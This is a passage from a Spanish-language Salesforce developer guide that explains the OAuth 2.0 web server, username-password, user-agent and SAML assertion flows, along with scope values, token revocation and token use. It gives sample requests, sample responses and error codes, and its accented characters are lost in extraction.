grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ
VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI
NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs
cA9GE&client_secret=1955279925675241571&
redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp

En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato que se devuelve en un encabezado de
solicitud de aceptacin utilizando uno de los siguientes:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Tenga en cuenta lo siguiente:
Se permiten encabezados que acepten comodines. */* es compatible y devuelve JSON.
Tambin se acepta una lista de valores y se comprueba de izquierda a derecha. Por ejemplo:
application/xml,application/json,application/html,*/* devuelve XML.
El parmetro format tiene preferencia sobre el encabezado de solicitud de aceptacin.

Respuesta de Salesforce con una respuesta del token de acceso


Despus de verificar la solicitud, Salesforce enva una respuesta al cliente. Los siguientes parmetros se encuentran en el cuerpo de la
respuesta:

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 179

access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
id_token: El valor de Salesforce de acuerdo con las especificaciones de conexin de OpenID. Esto se devuelve solo si el parmetro
de mbito incluye openid.
refresh_token: token que se podr utilizar en un futuro para obtener nuevos tokens de acceso (sesiones). Se trata de un
valor secreto. Debe considerarlo como la contrasea del usuario y tomar las mediadas adecuadas para protegerlo. Este
parmetro solo se devuelve si su aplicacin conectada se configura con un mbito de al menos refresh_token.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
sfdc_community_url: si el usuario es un miembro de una comunidad de Salesforce, se indica la URL de la comunidad.
sfdc_community_id: si el usuario es un miembro de una comunidad de Salesforce, se indica el Id. de la comunidad.
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
A continuacin se incluye un ejemplo de respuesta de Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9
Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url":
"https://na1.salesforce.com","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk
4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R
NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}

Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_client_credentials: secreto de cliente no vlido.
invalid_grant: cdigo de autorizacin no vlido.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
redirect_uri_mismatch: uri de redireccin no proporcionada.
redirect_uri_mismatch: uri de redireccin no coincidente con la definicin de la aplicacin conectada.
inactive_user: el administrador ha definido al usuario con inactivo
inactive_org: la organizacin est bloqueada, cerrada o suspendida.
rate_limit_exceeded: se ha superado el nmero de intentos de inicio de sesin

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 180

Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Flujo de nombre de usuario-contrasea de OAuth 2.0


El flujo de autenticacin de nombre de usuario-contrasea se puede utilizar para autenticar si el
consumidor ya tiene las credenciales del usuario.
PRECAUCIN: El flujo de autenticacin OAuth implica la transferencia de las credenciales
del usuario. Use este flujo de autenticacin cuando sea necesario. No se generar el token de
actualizacin.
A continuacin se enumeran los pasos del flujo de autenticacin de nombre de usuario-contrasea.
Ms informacin acerca de cada paso:
1. El consumidor utiliza el nombre de usuario y contrasea del usuario final para solicitar un token
de acceso (Id. de sesin).
2. Despus de verificar la solicitud, Salesforce enva una respuesta al cliente.
Cuando el consumidor tenga un token de acceso, puede utilizar el token de acceso para acceder
a los datos de Salesforce en nombre del usuario final.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Solicitar un token de acceso


El consumidor puede usar el nombre de usuario y la contrasea del usuario final para solicitar un token de acceso, que puede usarse
como un Id. de sesin. Este flujo no admite que se incluyan mbitos en la solicitud, y el token de acceso devuelto desde este flujo no
recibe mbitos.
El consumidor debe realizar una solicitud de PUBLICACIN fuera de banda en el extremo del token con los siguientes parmetros:
grant_type: el valor debe ser password para este flujo.
client_id: clave del consumidor de la definicin de aplicacin conectada.
client_secret: clave del consumidor de la definicin de aplicacin conectada.
nombre de usuario: Nombre de usuario del usuario final.
contrasea: Contrasea del usuario final.
Nota: Al utilizar el flujo nombre de usuario-contrasea con la API, asegrese de crear un campo en la pantalla de inicio de
sesin del nombre de usuario y contrasea en el que los usuarios puedan introducir su token de seguridad. Un testigo de
seguridad es una clave generada automticamente que se debe agregar al final de su contrasea para iniciar sesin en Salesforce
desde una red no fiable. Debe concatenar su contrasea y token al aprobar la solicitud de autenticacin.
format: formato de respuesta esperado. Este parmetro es opcional. El valor predeterminado es json. Los valores son:
urlencoded
json
xml

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 181

A continuacin se incluye un ejemplo del cuerpo de la PUBLICACIN fuera de banda:


grant_type=password&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn
FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=
1955279925675241571&username=testuser%40salesforce.com&password=mypassword

Enviar respuesta
Despus de verificar la solicitud, Salesforce enva una respuesta al cliente. Los siguientes parmetros se encuentran en el cuerpo de la
respuesta:
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
Nota: No se ha enviado ningn token de actualizacin con esta respuesta.
A continuacin se incluye un ejemplo de respuesta:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448832702","instance_url":"https://na1.salesforce.com",
"signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token":
"00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1
9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs","token_type":"Bearer"}

Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_request: parmetro de mbito no compatible.
invalid_client_credentials: secreto de cliente no vlido.
invalid_grant: credenciales de usuario no vlidas.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
inactive_user: el usuario est inactivo.
inactive_org: la organizacin est bloqueada, cerrada o suspendida.
rate_limit_exceeded: se ha superado el nmero de inicios de sesin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 182

Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}

A continuacin se incluye el ejemplo de un error devuelto:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Flujo de agente de usuario OAuth 2.0


Las aplicaciones cliente (consumidores) utilizan el flujo de autenticacin de agente de usuario del
dispositivo del usuario. Se podra implementar en un explorador mediante un lenguaje de
programacin como JavaScript, o desde un dispositivo mvil o una aplicacin de escritorio. Estos
clientes no pueden mantener la confidencialidad del cliente. La autenticacin del consumidor se
basa en la poltica de origen comn de usuario-agente.
Al contrario que otros flujos de autenticacin, la aplicacin cliente recibe el token de acceso en
forma de una redireccin HTTP. La aplicacin cliente solicita al servidor de autorizacin redirigir al
usuario-agente a otro servidor Web o recurso local accesible al usuario-agente, que es capaz de
extraer el token de acceso de la respuesta y transferirlo a la aplicacin cliente. Tenga en cuenta que
la respuesta del token se proporciona como un fragmento de almohadilla (#) de la URL. Es por
motivos de seguridad y evita que el token se transmita al servidor, as como a otros servidores en
encabezados de referencia.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Este flujo de autenticacin de usuario-agente no utiliza el secreto del cliente ya que los ejecutables
del cliente residen el equipo o dispositivo del usuario final, que hace que el secreto del cliente sea
accesible y explotable.
PRECAUCIN: Como el token de acceso se codifica en la URI de redireccin, podra estar expuesto al usuario final y a otras
aplicaciones del dispositivo o equipo. Si realiza la autenticacin mediante JavaScript, active window.location.replace();
para eliminar la llamada del historial del explorador.
A continuacin siguen descripciones de paso individual.
1. La aplicacin cliente dirige al usuario a Salesforce para autenticar y autorizar la aplicacin.
2. El usuario siempre debe aprobar el acceso para este flujo de autenticacin. Despus de aprobar el acceso, la aplicacin recibe la
llamada de Salesforce.
Despus de que el consumidor tenga un token de acceso, podr utilizar el token de acceso para acceder a los datos de Salesforce en
nombre del usuario final y un token de actualizacin para obtener un nuevo token de acceso si se invalida por algn motivo.
El flujo del usuario-agente no admite publicaciones fuera de banda.

Direccin del usuario a Salesforce para obtener el token de acceso


Para obtener autorizacin del usuario para acceder a los datos de Salesforce en su nombre, el cliente dirige al usuario al extremo de la
autorizacin con los siguientes parmetros:

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 183

response_type: el valor puede ser token o token id_token con el parmetro de mbito openid y un parmetro
nonce para este flujo. Si especifica token id_token, Salesforce devuelve un token de ID en la respuesta. Para obtener ms
informacin, consulte Obtencin y verificacin de un token de ID en la pgina 190.
client_id: clave del consumidor de la definicin de aplicacin conectada.
redirect_uri: URI a la que redirigir al usuario tras su aprobacin. Debe coincidir con el valor del campo URL de devolucin
de llamada en la definicin de la aplicacin conectada exactamente. Este valor debe tener codificacin de URL.
state: cualquier estado que el consumidor quiera reflejar tras su aprobacin, durante la devolucin de llamada. Este parmetro
es opcional.
scope: El parmetro scope le permite ajustar a lo que puede acceder la aplicacin cliente en una organizacin Salesforce. Consulte
Valores de parmetros de mbito en la pgina 187 para conocer los parmetros vlidos.
display: cambia el tipo de visualizacin de la pgina de inicio de sesin. Este parmetro es opcional. Los nicos valores que
admite Salesforce son:
page: pantalla de autorizacin de pgina completa Es el valor predefinido si no se especifica ninguno.
popup: cuadro de dilogo compacto optimizado para ventanas emergentes de explorador Web moderno.
touch: cuadro de dilogo optimizado para aplicaciones mviles diseado para smartphones modernos, como Android e
iPhone.
login_hint: Proporciona un valor de nombre de usuario vlido con este parmetro para cumplimentar previamente la pgina
de inicio de sesin con el nombre de usuario. Por ejemplo: login_hint=username@company.com. Si un usuario ya tiene
una sesin activa en el navegador y por lo tanto el parmetro login_hint es nada, la sesin de usuario activa contina.
nonce: Obligatorio con el mbito openid para la obtencin de un token de Id. de usuario. El valor se devuelve en la respuesta
y es til para detectar ataques de "nueva reproduccin".
promptEspecifica cmo el servidor de autorizacin solicita al usuario una reaprobacin y reautenticacin. Este parmetro es
opcional. Los nicos valores que admite Salesforce son:
loginEl servidor de autorizacin debe solicitar al usuario la reautenticacin, forzando as el usuario a volver a iniciar sesin.
consentEl servidor de autorizacin debe solicitar al usuario una reaprobacin antes de devolver informacin al cliente.
Se pueden introducir ambos valores, separados por un espacio, para solicitar al usuario tanto iniciar sesin como volver a autorizarse.
Por ejemplo:
?prompt=login%20consent

A continuacin se incluye una URL de ejemplo a la que se redirigir el usuario:


https://login.salesforce.com/services/oauth2/authorize?response_type=token&
client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD
ZrXcPCmBv4o.8ds.5iE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fuser_callback.jsp&
state=mystate

Aprobacin de acceso del usuario y recepcin de llamada por parte del cliente de Salesforce
El usuario recibe la solicitud de Salesforce si an no ha iniciado sesin. A continuacin, Salesforce mostrar una pgina de aprobacin,
solicitando al usuario que apruebe el acceso a la aplicacin. Si el usuario aprueba el acceso, se le redirigir a la URI especificada en
redirect_uri con los siguientes valores despus del signo de almohadilla (#). No es una cadena de consulta.
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
id_token: El valor de Salesforce de acuerdo con las especificaciones de conexin de OpenID. Eso se devuelve solo si
response_type es token id_token con el parmetro de mbito openid y un parmetro nonce.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 184

refresh_token: token que se podr utilizar en un futuro para obtener nuevos tokens de acceso (sesiones). Se trata de un
valor secreto. Debe considerarlo como la contrasea del usuario y tomar las mediadas adecuadas para protegerlo.
Nota: El token de actualizacin del flujo de usuario-agente solo se emite si ha solicitado scope=refresh_token y se
cumple una de las siguientes circunstancias:
La URL de redireccin utiliza un protocolo personalizado.
La URL de redireccin es exactamente https://login.salesforce.com/services/oauth2/success
o en un sandbox, https://test.salesforce.com/services/oauth2/success.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
sfdc_community_url: si el usuario es un miembro de una comunidad de Salesforce, se indica la URL de la comunidad.
sfdc_community_id: si el usuario es un miembro de una comunidad de Salesforce, se indica el Id. de la comunidad.
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
A continuacin se incluye un ejemplo de la devolucin de llamada del servidor. Observe que la respuesta est detrs de una almohadilla,
en lugar de los parmetros de consulta de HTTP:
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21A
R8AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbbe
rKGk8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKk
DpB4xReb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&instance_url=https%3A%2F%
2Fna1.salesforce.com&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx000
0000BV7z%2F005x00000012Q9P&issued_at=1278448101416&signature=miQQ1J4sdMPi
duBsvyRYPCDozqhe43KRc1i9LmZHR70%3D&scope=id+api+refresh_token&token_type=
Bearer&state=mystate

Si el usuario deniega el acceso o se produce un error en este paso, se le redirigir a redirect_uri con un cdigo de error y su
descripcin en la URI, tras la almohadilla (#). No es una cadena de consulta.
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP GET.
invalid_request: fuera de banda no compatible.
access_denied: autorizacin denegada del usuario final.
redirect_uri_missing: uri de redireccin no proporcionada.
redirect_uri_mismatch: uri de redireccin no coincidente con el objeto de la aplicacin conectada.
immediate_unsuccessful: inmediato incorrecto
invalid_grant: credenciales de usuario no vlidas.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 185

inactive_user: el usuario est inactivo.


inactive_org: la organizacin est bloqueada, cerrada o suspendida.
rate_limit_exceeded: se ha superado el nmero de inicios de sesin.
invalid_scope: el mbito solicitado no es vlido, es desconocido o defectuoso
Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}

state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.
A continuacin se incluye un error de URI de redireccin de ejemplo:
https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Flujo de afirmacin SAML


El flujo de afirmacin SAML es una alternativa para las organizaciones que utilizan actualmente
SAML para acceder a Salesforce y desean acceder a la API de servicios Web de la misma forma. El
flujo de afirmacin SAML slo se puede utilizar en una organizacin nica. No tiene que crear una
aplicacin conectada para utilizar este flujo de afirmacin. Los clientes pueden utilizar esta opcin
para federarse con la API mediante la afirmacin SAML, de forma muy similar a la federacin con
Salesforce para el inicio de sesin nico Web.
A continuacin se incluyen los pasos generales que describen el uso de este flujo. Muchos de estos
pasos se describen a continuacin con mayor detalle.
1. Configure SAML en la pgina 185 para su organizacin. Debe utilizar SAML versin 2.0.
2. Intercambie una afirmacin SAML para un token de acceso.
3. Salesforce enva la respuesta.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

4. Utilice un analizador JSON para procesar la respuesta y extraer access_token.

Configuracin de SAML para OAuth


Para configurar su organizacin para el uso de SAML, siga las instrucciones del tema Configuracin de los ajustes de SAML para inicio
de sesin nico. Una vez haya configurado SAML, puede utilizar la misma configuracin para la federacin Web y API.
Se proporcionan dos URL despus de configurar SAML para su organizacin:
URL de inicio de sesin de salesforce.com: utilice esta URL cuando configure el inicio de sesin nico Web.
Extremo de testigo de OAuth 2.0: utilice esta URL cuando intercambie una afirmacin SAML para un token de acceso
que se utilizar con la API.
Cuando genere afirmaciones SAML que se utilicen con el extremo de token, la URL de destinatario de la afirmacin puede ser el valor
de Extremo de testigo de OAuth 2.0 o de URL de inicio de sesin de salesforce.com.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 186

Intercambio de una afirmacin SAML para un token de acceso


Para intercambiar una afirmacin SAML por un token de acceso, el cliente debe obtener o generar una respuesta SAML vlida y PUBLICARLA
en el extremo del token. El mtodo de obtencin de esta respuesta depende del cliente. Cuando el cliente tenga una respuesta vlida,
enva los siguientes parmetros:
grant_type: el valor debe ser assertion para este flujo.
assertion: una respuesta SAML con codificacin en base 64 y despus con codificacin URL que normalmente se utilizara para
el inicio de sesin nico Web.
assertion_type: debe tener codificacin urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser y URL
format: formato de respuesta esperado. Este parmetro es opcional. El valor predeterminado es json. Los valores son:
urlencoded
json
xml
A continuacin se incluye un ejemplo de cuerpo de una PUBLICACIN fuera de banda realizada en
https://login.salesforce.com/services/oauth2/token:
grant_type=assertion&assertion_type=
urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser&
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .

El servidor de Salesforce enva una respuesta


Despus de verificar la respuesta SAML, Salesforce enva una respuesta al cliente. Los siguientes parmetros se encuentran en el cuerpo
de la respuesta:
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
A continuacin se incluye un ejemplo de respuesta de Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"instance_url":"https://na1.salesforce.com","access_token":
"00Dx0000000BV7z!AR8AQNhMmQeDIKR0.hZagSTaEPCkmoXeYnkaxQnqWlG6Sk9U3i3IFjEH
IzDlsYdU0qoVCXNJtPOwdb7u5rKfq9NldfAKoQjd","token_type":"Bearer"}

Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_assertion_type: tipo de afirmacin especificada no compatible.
invalid_grant: cdigo de autorizacin no vlido (asegrese de que el cliente enva assertion y assertion_type
con codificacin URL)
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 187

inactive_user: el usuario est inactivo.


inactive_org: la organizacin est bloqueada, cerrada o suspendida.
rate_limit_exceeded: se ha superado el nmero de inicios de sesin.
Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}

error_uri: vnculo al Validador de afirmacin SAML, que contiene ms informacin acerca del error. Slo se devuelve si Salesforce
puede analizar la afirmacin.
A continuacin se incluye un ejemplo del error:
{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid_grant","error_description":"invalid assertion"}

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Valores de parmetros de mbito


El parmetro scope le permite ajustar a lo que puede acceder la aplicacin cliente en una
organizacin de Salesforce. Los valores vlidos para scope son:

EDICIONES

Valor

Descripcin

Disponible en: todas las


ediciones

api

Permite el acceso a la cuenta actual en la que ha iniciado sesin el usuario


mediante API, como la API de REST y la API masiva. Este valor incluye
tambin chatter_api, que permite acceder a recursos de la API de
REST de Chatter.

PERMISOS DE USUARIO

chatter_api

Solamente permite el acceso a los recursos de la API de REST de Chatter.

custom_permissions Permite acceso a los permisos personalizados de una organizacin

asociada con la aplicacin conectada y muestra si el usuario actual tiene


cada permiso activado.
full

Permite acceder a todos los datos a los que puede acceder el usuario
que ha iniciado sesin e incluye todos los dems mbitos. full no
devuelve un token de actualizacin. Debe solicitar expresamente el
mbito refresh_token para obtener un token de actualizacin.

id

Permite el acceso al servicio de URL de identidad. Puede solicitar


perfil, correo electrnico, direccin o telfono
de forma individual para obtener el mismo resultado que utilizando id;
todos son sinnimos.

openid

Permite acceder al identificador nico en el que ha iniciado sesin el


usuario actual para aplicaciones de conexin OpenID.
El mbito openid se puede utilizar en el flujo de usuario-agente de
OAuth 2.0 y el flujo de autenticacin de servidor Web de OAuth 2.0 para

Para gestionar, crear,


modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Mejora de Salesforce mediante cdigo

Valor

Gua del usuario | Integracin de aplicaciones con


Salesforce | 188

Descripcin
volver a un token de Id. firmado de acuerdo con las especificaciones de conexin de OpenID adems
del token de acceso.

refresh_token

Permite que se devuelva un token de actualizacin en caso de que pueda recibir uno. Eso permite
a la aplicacin interactuar con los datos del usuario mientras ste est fuera de lnea y es sinnimo
con la solicitud de offline_access.

visualforce

Permite el acceso a las pginas de Visualforce.

web

Permite la capacidad de utilizar access_token en la Web. Eso incluye tambin visualforce,


permitiendo acceder a pginas de Visualforce.

Todos los valores de mbito incluye automticamente id, por lo que, independientemente de los valores que apruebe para mbito,
siempre podr acceder a las URL de identidad.
A medida que un usuario aprueba aplicaciones, el valor del mbito se almacena con el token de actualizacin.
Por ejemplo, si un usuario aprueba una aplicacin con un mbito id, el token de actualizacin se crear con scope=id. A continuacin,
si el usuario aprueba una segunda aplicacin con un mbito diferente, por ejemplo api, el token de actualizacin se crear con
scope=api.
En el caso de solicitudes de token de soporte JSON o SAML, la solicitud comprueba los mbitos de todos los tokens de actualizacin
anteriores y los combina.
En el ejemplo anterior, el resultado es un token de acceso con scope=id%20api.
A continuacin se indica una solicitud de muestra que ajusta el parmetro scope con los valores api, id y web.
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20web

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
Obtencin y verificacin de un token de Id.

Revocar tokens de OAuth


Los usuarios se autentifican cuando solicitan sus datos desde una aplicacin externa (la pgina del
consumidor). Puede revocar sus tokens de acceso, o bien el token de actualizacin y todos los
tokens de acceso relacionados, mediante la revocacin. Los desarrolladores pueden utilizar esta
funcin al configurar un botn de cierre de sesin en su aplicacin.

Revocar tokens
Para revocar tokens de OAuth 2.0, utilice el extremo de la revocacin:
https://login.salesforce.com/services/oauth2/revoke

EDICIONES
Disponible en: todas las
ediciones

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 189

Cree una solicitud de PUBLICACIN que incluya los parmetros siguientes usando el formato
application/x-www-form-urlencoded en el cuerpo-entidad de la solicitud HTTP. Por ejemplo:
POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded
token=currenttoken

Si se incluye un token de acceso, ste quedar invalidado y se revocar el token. Si se incluye un token de actualizacin, se revocar as
como cualquier token de acceso asociado.
El servidor de autorizacin indica que el procesamiento de la solicitud es correcto devolviendo el cdigo de estado 200 de HTTP. Para
todas las condiciones de error, se utiliza un cdigo de estado 400 junto con uno de las siguientes respuestas de error.
unsupported_token_type: tipo de token no compatible
invalid_token: el token no era vlido
Para un sandbox, utilice test.salesforce.com en vez de login.salesforce.com.

Asistencia GET
Tambin se admiten solicitudes GET con el token de parmetro de cadena de la consulta y el token actual. Si se incluye un token de
acceso, ste quedar invalidado y se revocar el token. Si se incluye un token de actualizacin, se revocar as como cualquier token de
acceso asociado. Por ejemplo:
https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

El servidor de autorizacin indica que el procesamiento de la solicitud es correcto devolviendo el cdigo de estado 200 de HTTP. Para
todas las condiciones de error, se utiliza el cdigo de estado 400.

Compatibilidad JSONP
El extremo de la revocacin tambin acepta las solicitudes GET con un parmetro adicional de devolucin de llamada, y devuelve la
respuesta con tipo de contenido application/javascript. Por ejemplo:
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback

Si la solicitud es correcta, se enva una devolucin de llamada al conjunto de funciones de JavaScript en el parmetro de devolucin de
llamada de GET:
myCallback({});

Si la respuesta no es correcta, se enviar una devolucin de llamada con un cdigo de error:


myCallback({"error":"invalid_token"});

CONSULTE TAMBIN
Uso del token de acceso

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 190

Uso del token de acceso


Despus de que un consumidor que utiliza la versin 2.0 de OAuth tenga un token de acceso, el
mtodo de uso del token depende de la API que se utilice.

EDICIONES

Para la API de REST, utilice un encabezado de autorizacin HTTP con el formato siguiente
Autorizacin: Bearer Access_Token.

Disponible en: Todas las


ediciones

Para la API de SOAP, el token de acceso se encuentra en el encabezado de autenticacin de


SOAP SessionHeader.
Para la URL de identidad, utilice un encabezado de autorizacin HTTP (como la API de REST) o
como un parmetro HTTP oauth_token.

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Obtencin y verificacin de un token de Id.


Salesforce puede responder a una solicitud de OAuth con un token de Id., de acuerdo con las
especificaciones de conexin de OpenID. Tanto el flujo de usuario-agente de OAuth 2.0 como el
flujo de autenticacin de servidor Web de OAuth 2.0 puede solicitar un token de Id. firmado si el
parmetro en la solicitud incluye openid. El token devuelto es un token Web JSON (JWT).
El flujo de autenticacin de usuario-agente debe incluir el parmetro response_type con
el valor token id_token, el mbito openid y el parmetro nonce.
El flujo de autenticacin de servidor Web debe incluir el parmetro response_type con
el valor code y el mbito openid. El parmetro nonce es opcional para el flujo de
autenticacin de servidor Web.
A continuacin se incluye un ejemplo de solicitud para un token de Id. utilizando el flujo de
autenticacin usuario-agente.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

